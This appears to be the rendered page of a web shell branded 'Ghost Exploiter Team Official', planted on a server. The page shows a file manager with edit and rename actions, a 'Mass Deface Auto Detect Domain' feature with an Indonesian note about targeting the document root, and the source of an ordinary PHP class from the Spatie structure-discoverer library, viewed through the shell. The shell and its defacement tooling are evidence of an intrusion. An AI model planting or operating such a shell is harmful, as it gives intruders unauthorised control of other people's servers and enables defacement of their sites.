Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
spatie
/
php-structure-discoverer
/
src
/
Data
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
DiscoverProfileConfig.php
1.144KB
edt
ren
DiscoveredAttribute.php
0.425KB
edt
ren
DiscoveredClass.php
2.334KB
edt
ren
DiscoveredEnum.php
2.365KB
edt
ren
DiscoveredInterface.php
1.612KB
edt
ren
DiscoveredStructure.php
0.675KB
edt
ren
DiscoveredTrait.php
0.805KB
edt
ren
StructureHeadData.php
0.277KB
edt
ren
Usage.php
0.478KB
edt
ren
<?php namespace Spatie\StructureDiscoverer\Data; use Exception; use ReflectionAttribute; use ReflectionClass; use ReflectionEnum; use Spatie\StructureDiscoverer\Enums\DiscoveredEnumType; use Spatie\StructureDiscoverer\Enums\DiscoveredStructureType; use Spatie\StructureDiscoverer\Exceptions\InvalidReflection; class DiscoveredEnum extends DiscoveredStructure { /** * @param array<string> $implements * @param array<DiscoveredAttribute> $attributes * @param ?array<string> $implementsChain */ public function __construct( public string $name, public string $file, public string $namespace, public DiscoveredEnumType $type, public array $implements, public array $attributes, public ?array $implementsChain = null, ) { parent::__construct($name, $file, $namespace); } public function getType(): DiscoveredStructureType { return DiscoveredStructureType::Enum; } /** * @param ReflectionClass<object> $reflection */ public static function fromReflection(ReflectionClass $reflection): DiscoveredStructure { if (! $reflection instanceof ReflectionEnum) { throw InvalidReflection::create(ReflectionEnum::class, $reflection); } if (! $reflection->isEnum()) { throw InvalidReflection::expectedEnum(); } $type = match (true) { $reflection->isBacked() === false => DiscoveredEnumType::Unit, $reflection->isBacked() === true && (string) $reflection->getBackingType() === 'string' => DiscoveredEnumType::String, $reflection->isBacked() === true && (string) $reflection->getBackingType() === 'int' => DiscoveredEnumType::Int, default => throw new Exception('Unknown enum type') }; $implements = array_values($reflection->getInterfaceNames()); return new self( name: $reflection->getShortName(), file: $reflection->getFileName(), namespace: $reflection->getNamespaceName(), type: $type, implements: $implements, attributes: array_map( fn (ReflectionAttribute $reflectionAttribute) => DiscoveredAttribute::fromReflection($reflectionAttribute), $reflection->getAttributes() ), implementsChain: $implements ); } }
<=Back
Liking